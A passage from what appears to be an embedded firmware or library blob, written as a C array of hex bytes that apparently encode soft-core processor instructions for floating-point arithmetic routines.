0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x41, 0x89, 0x38, 0x00,
0xfa, 0xc1, 0x00, 0x04,
0x40, 0x83, 0x40, 0x00,
0x12, 0xc5, 0x00, 0x00,
0x40, 0x63, 0x38, 0x00,
0x10, 0x84, 0x60, 0x00,
0x40, 0xb7, 0x50, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xe3, 0xff, 0xff,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0x63, 0x20, 0x00,
0xfb, 0x01, 0x00, 0x0c,
0xfb, 0x21, 0x00, 0x10,
0x41, 0x4b, 0xb0, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0xc3, 0x00, 0x00,
0x90, 0x83, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x16, 0x4c, 0x18, 0x03,
0xbe, 0xb2, 0x00, 0x10,
0x41, 0x29, 0x40, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x31, 0x29, 0x00, 0x00,
0x13, 0x09, 0x20, 0x00,
0x10, 0x65, 0xc0, 0x00,
0x13, 0x26, 0x38, 0x00,
0x10, 0xca, 0x18, 0x00,
0x10, 0x99, 0x00, 0x00,
0x10, 0x66, 0x00, 0x00,
0xea, 0xc1, 0x00, 0x04,
0xea, 0xe1, 0x00, 0x08,
0xeb, 0x01, 0x00, 0x0c,
0xeb, 0x21, 0x00, 0x10,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x14,
0x30, 0x21, 0xff, 0xec,
0xfa, 0xc1, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x08,
0xfb, 0x01, 0x00, 0x0c,
0xfb, 0x21, 0x00, 0x10,
0xe8, 0x65, 0x00, 0x00,
0xe8, 0xc5, 0x00, 0x0c,
0xe8, 0xe5, 0x00, 0x10,
0xe9, 0x85, 0x00, 0x04,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x88,
0xb0, 0x00, 0x00, 0x08,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x00, 0x00,
0x80, 0x86, 0x20, 0x00,
0x80, 0xa7, 0x28, 0x00,
0xb0, 0x00, 0x00, 0x0f,
0x30, 0xc0, 0xff, 0xff,
0x30, 0xe0, 0xff, 0xff,
0x86, 0xc4, 0x30, 0x00,
0x86, 0xe5, 0x38, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0x31, 0x40, 0x00, 0x00,
0x31, 0x60, 0x00, 0x00,
0x30, 0xac, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x01,
0x84, 0xa5, 0x38, 0x00,
0xb0, 0x00, 0x80, 0x00,
0x60, 0x85, 0x00, 0x00,
0x10, 0xa0, 0x00, 0x00,
0x80, 0x96, 0x20, 0x00,
0x80, 0xb7, 0x28, 0x00,
0x80, 0xca, 0x20, 0x00,
0x80, 0xeb, 0x28, 0x00,
0x10, 0x66, 0x00, 0x00,
0x10, 0x87, 0x00, 0x00,
0xea, 0xc1, 0x00, 0x04,
0xea, 0xe1, 0x00, 0x08,
0xeb, 0x01, 0x00, 0x0c,
0xeb, 0x21, 0x00, 0x10,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x14,
0xaa, 0x43, 0x00, 0x04,
0xbc, 0x12, 0x01, 0x78,
0xaa, 0x43, 0x00, 0x02,
0xbe, 0x12, 0x01, 0x88,
0x80, 0x66, 0x38, 0x00,
0xbc, 0x03, 0x01, 0x80,
0xe9, 0x05, 0x00, 0x08,
0x32, 0x40, 0xfc, 0x02,
0x16, 0x52, 0x40, 0x01,
0xbe, 0xb2, 0x01, 0x84,
0x34, 0xa8, 0xfc, 0x02,
0x32, 0x40, 0x00, 0x38,
0x16, 0x45, 0x90, 0x01,
0xbc, 0x52, 0x02, 0x54,
0xa5, 0x05, 0x00, 0x20,
0xbe, 0x08, 0x02, 0x88,
0x10, 0x66, 0x30, 0x00,
0x12, 0xc0, 0x00, 0x00,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0xe6, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x92, 0xf7, 0x00, 0x41,
0x13, 0x00, 0x00, 0x00,
0x13, 0x20, 0x00, 0x00,
0xbe, 0x08, 0x02, 0xb0,
0x30, 0x60, 0x00, 0x01,
0x11, 0x60, 0x00, 0x00,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x11, 0x43, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x11, 0x4a, 0x50, 0x00,
0x20, 0xab, 0xff, 0xff,
0x08, 0x8a, 0x00, 0x00,
0x20, 0x84, 0xff, 0xff,
0x84, 0x86, 0x20, 0x00,
0x84, 0xa7, 0x28, 0x00,
0x80, 0x84, 0x28, 0x00,
0xbc, 0x04, 0x00, 0x0c,
0x33, 0x00, 0x00, 0x00,
0x33, 0x20, 0x00, 0x01,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x00, 0xff,
0x80, 0xd6, 0xc0, 0x00,
0x80, 0xf7, 0xc8, 0x00,
0x84, 0x86, 0x20, 0x00,
0xbe, 0x24, 0x00, 0x10,
0x84, 0xa7, 0x28, 0x00,
0xaa, 0x45, 0x00, 0x80,
0xbc, 0x12, 0x02, 0x68,
0x20, 0xa7, 0x00, 0x7f,
0x08, 0x86, 0x00, 0x00,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x0c,
0x10, 0x60, 0x00, 0x00,
0x30, 0x60, 0x00, 0x01,
0x11, 0x03, 0x00, 0x00,
0xb0, 0x00, 0x01, 0x00,
0x60, 0x64, 0x00, 0x00,
0x91, 0x65, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x81, 0x63, 0x58, 0x00,
0x91, 0x44, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x30, 0xa8, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x00,
0x30, 0xe0, 0x07, 0xff,
0xb0, 0x00, 0x00, 0x0f,
0x31, 0x00, 0xff, 0xff,
0x31, 0x20, 0xff, 0xff,
0x84, 0xa5, 0x38, 0x00,
0x86, 0xca, 0x40, 0x00,
0x86, 0xeb, 0x48, 0x00,
0xb0, 0x00, 0x00, 0x10,
0x61, 0x45, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x3c,
0x11, 0x60, 0x00, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x12, 0xe0, 0x00, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0x31, 0x40, 0x00, 0x00,
0x31, 0x60, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0x20,
0x11, 0x40, 0x00, 0x00,
0x11, 0x60, 0x00, 0x00,
0x12, 0xca, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x10,
0x12, 0xeb, 0x00, 0x00,
0x32, 0x40, 0x03, 0xff,
0x16, 0x48, 0x90, 0x01,
0xbc, 0x52, 0xff, 0xcc,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x00, 0xff,
0x84, 0x86, 0x20, 0x00,
0x84, 0xa7, 0x28, 0x00,
0xbe, 0x04, 0x00, 0xd4,
0x31, 0x08, 0x03, 0xff,
0x20, 0xe7, 0x00, 0x7f,
0x08, 0xc6, 0x00, 0x00,
0xb0, 0x00, 0x1f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x46, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x24,
0x90, 0xa7, 0x00, 0x41,
0xb0, 0x00, 0x80, 0x00,
0x60, 0x66, 0x00, 0x00,
0x80, 0xa3, 0x28, 0x00,
0x90, 0x86, 0x00, 0x41,
0x10, 0xc4, 0x00, 0x00,
0x10, 0xe5, 0x00, 0x00,
0x31, 0x08, 0x00, 0x01,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x07, 0xff,
0xb0, 0x00, 0x01, 0x00,
0x60, 0x66, 0x00, 0x00,
0x31, 0x28, 0x00, 0x00,
0x31, 0x00, 0x00, 0x00,
0x85, 0x29, 0x28, 0x00,
0x90, 0x86, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0xa7, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x0f,
0x30, 0xc0, 0xff, 0xff,
0x30, 0xe0, 0xff, 0xff,
0x80, 0xa3, 0x28, 0x00,
0x86, 0xc4, 0x30, 0x00,
0x86, 0xe5, 0x38, 0x00,
0xb0, 0x00, 0x00, 0x10,
0x61, 0x49, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x30,
0x11, 0x60, 0x00, 0x00,
0x11, 0x40, 0x00, 0x00,
0x11, 0x60, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xb4,
0x11, 0x00, 0x00, 0x00,
0xaa, 0x45, 0x00, 0x80,
0xbc, 0x32, 0xff, 0x30,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x01, 0x00,
0x84, 0x86, 0x20, 0x00,
0x84, 0xa7, 0x28, 0x00,
0x80, 0x84, 0x28, 0x00,
0xbc, 0x04, 0xff, 0x20,
0x20, 0xe7, 0x00, 0x80,
0x08, 0xc6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x14,
0xa8, 0x85, 0xff, 0xff,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0xe7, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x92, 0xf7, 0x00, 0x41,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0xc6, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x92, 0xd6, 0x00, 0x41,
0xb8, 0x10, 0xfd, 0x50,
0x82, 0xe3, 0xb8, 0x00,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x11, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x11, 0x6b, 0x58, 0x00,
0xb8, 0x10, 0xfd, 0x5c,
0x11, 0x48, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x01, 0x00,
0x84, 0x86, 0x20, 0x00,
0x84, 0xa7, 0x28, 0x00,
0x80, 0x84, 0x28, 0x00,
0xbc, 0x24, 0x00, 0x6c,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x46, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x08,
0x30, 0x80, 0x00, 0x01,
0x11, 0x04, 0x00, 0x00,
0xb0, 0x00, 0x01, 0x00,
0x60, 0x66, 0x00, 0x00,
0x91, 0x67, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x46, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0x91, 0x4a, 0x00, 0x41,
0xb8, 0x10, 0xfd, 0x94,
0x81, 0x63, 0x58, 0x00,
0x20, 0xa7, 0x00, 0x80,
0x08, 0x86, 0x00, 0x00,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0xfd, 0x28,
0x10, 0x60, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x20,
0x30, 0x60, 0x00, 0x01,
0x30, 0x21, 0xff, 0xf8,
0xfa, 0x61, 0x00, 0x04,
0xe9, 0x05, 0x00, 0x00,
0xe9, 0x25, 0x00, 0x04,
0x12, 0x66, 0x00, 0x00,
0x90, 0xa8, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xe8, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0xa5, 0x85, 0x07, 0xff,
0xa4, 0x67, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x0f,
0x30, 0x80, 0xff, 0xff,
0x30, 0xa0, 0xff, 0xff,
0xf8, 0x66, 0x00, 0x04,
0x85, 0x48, 0x20, 0x00,
0xbe, 0x2c, 0x01, 0x60,
0x85, 0x69, 0x28, 0x00,
0x80, 0x6a, 0x58, 0x00,
0xbe, 0x03, 0x02, 0x00,
0x30, 0x60, 0x00, 0x02,
0x30, 0x60, 0x00, 0x03,
0x30, 0x80, 0xfc, 0x02,
0xf8, 0x66, 0x00, 0x00,
0xf8, 0x86, 0x00, 0x08,
0x60, 0xca, 0x01, 0x00,
0x90, 0x6b, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x80, 0xc3, 0x30, 0x00,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x46, 0x90, 0x03,
0xbe, 0x52, 0x00, 0xb4,
0x60, 0xeb, 0x01, 0x00,
0x11, 0x04, 0x00, 0x00,
0x10, 0x86, 0x30, 0x00,
0x90, 0x67, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0xa7, 0x38, 0x00,
0x80, 0x83, 0x20, 0x00,
0x10, 0xc4, 0x00, 0x00,
0x10, 0xe5, 0x00, 0x00,
0xb0, 0x00, 0x0f, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0x64,
0x31, 0x08, 0xff, 0xff,
0xf9, 0x13, 0x00, 0x08,
0xf8, 0xd3, 0x00, 0x0c,
0xf8, 0xf3, 0x00, 0x10,
0xea, 0x61, 0x00, 0x04,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x08,
0xaa, 0x4c, 0x07, 0xff,
0xbe, 0x12, 0x00, 0xb8,
0x60, 0x8a, 0x01, 0x00,
0x90, 0x6b, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xb0, 0x00, 0x10, 0x00,
0x30, 0xc0, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x00,
0x80, 0x83, 0x20, 0x00,
0x60, 0xab, 0x01, 0x00,
0x31, 0x0c, 0xfc, 0x01,
0x80, 0x84, 0x30, 0x00,
0x80, 0xa5, 0x38, 0x00,
0x30, 0x60, 0x00, 0x03,
0xf8, 0x93, 0x00, 0x0c,
0xf8, 0xb3, 0x00, 0x10,
0xf9, 0x13, 0x00, 0x08,
0xf8, 0x73, 0x00, 0x00,
0xea, 0x61, 0x00, 0x04,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x08,
0xf8, 0x66, 0x00, 0x00,
0xea, 0x61, 0x00, 0x04,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x08,
0x80, 0x6a, 0x58, 0x00,
0xbe, 0x23, 0x00, 0x10,
0x30, 0x60, 0x00, 0x04,
0xf8, 0x66, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xd4,
0xb0, 0x00, 0x00, 0x08,
0x30, 0x80, 0x00, 0x00,
0x30, 0xa0, 0x00, 0x00,
0x84, 0x8a, 0x20, 0x00,
0x84, 0xab, 0x28, 0x00,
0x80, 0x84, 0x28, 0x00,
0xbe, 0x04, 0x00, 0x18,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x66, 0x00, 0x00,
0xf9, 0x53, 0x00, 0x0c,
0xf9, 0x73, 0x00, 0x10,
0xb8, 0x00, 0xff, 0xa4,
0xf8, 0x86, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xf0,
0xe8, 0x65, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x2c,
0xe8, 0x86, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x44, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0xaa, 0x43, 0x00, 0x04,
0xbc, 0x32, 0x00, 0x1c,
0xaa, 0x44, 0x00, 0x04,
0xbc, 0x12, 0x00, 0x48,
0xe8, 0x65, 0x00, 0x04,
0xbc, 0x23, 0x00, 0xb4,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0x00, 0x01,
0xaa, 0x44, 0x00, 0x04,
0xbc, 0x12, 0x00, 0xb0,
0xaa, 0x43, 0x00, 0x02,
0xbc, 0x12, 0x00, 0x38,
0xaa, 0x44, 0x00, 0x02,
0xbc, 0x12, 0xff, 0xdc,
0xe8, 0x85, 0x00, 0x04,
0xe8, 0x66, 0x00, 0x04,
0x16, 0x43, 0x20, 0x00,
0xbc, 0x12, 0x00, 0x30,
0xbc, 0x04, 0xff, 0xd0,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0xff, 0xff,
0xe8, 0x86, 0x00, 0x04,
0xe8, 0x65, 0x00, 0x04,
0xb6, 0x0f, 0x00, 0x08,
0x14, 0x63, 0x20, 0x00,
0xaa, 0x44, 0x00, 0x02,
0xbc, 0x32, 0x00, 0x6c,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0xe8, 0xe5, 0x00, 0x08,
0xe8, 0x66, 0x00, 0x08,
0x16, 0x47, 0x18, 0x01,
0xbc, 0x52, 0xff, 0xc8,
0x16, 0x43, 0x38, 0x01,
0xbc, 0x52, 0x00, 0x3c,
0xe9, 0x05, 0x00, 0x0c,
0xe9, 0x25, 0x00, 0x10,
0xe8, 0xe6, 0x00, 0x10,
0xe8, 0xc6, 0x00, 0x0c,
0x16, 0x48, 0x30, 0x03,
0xbc, 0x52, 0xff, 0xa8,
0x16, 0x46, 0x40, 0x00,
0xbc, 0x12, 0x00, 0x3c,
0x16, 0x46, 0x40, 0x03,
0xbc, 0x52, 0x00, 0x14,
0x16, 0x48, 0x30, 0x00,
0xbc, 0x32, 0xff, 0xb4,
0x16, 0x47, 0x48, 0x03,
0xbc, 0xb2, 0xff, 0xac,
0xbc, 0x24, 0xff, 0x54,
0x30, 0x60, 0xff, 0xff,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xe8, 0x66, 0x00, 0x04,
0xbc, 0x23, 0xff, 0x40,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0xff, 0xff,
0x16, 0x49, 0x38, 0x03,
0xbc, 0xb2, 0xff, 0xc4,
0xb8, 0x00, 0xff, 0x5c,
0x11, 0x05, 0x00, 0x00,
0x14, 0x66, 0x00, 0x00,
0x80, 0x63, 0x30, 0x00,
0xb0, 0x00, 0x7f, 0xff,
0xa4, 0x88, 0xff, 0xff,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x80, 0x63, 0x20, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0x34, 0x63, 0x00, 0x00,
0x14, 0x83, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xb6, 0x0f, 0x00, 0x08,
0x34, 0x63, 0x00, 0x01,
0x11, 0x05, 0x00, 0x00,
0x14, 0x66, 0x00, 0x00,
0x80, 0x63, 0x30, 0x00,
0xb0, 0x00, 0x7f, 0xff,
0xa4, 0x88, 0xff, 0xff,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
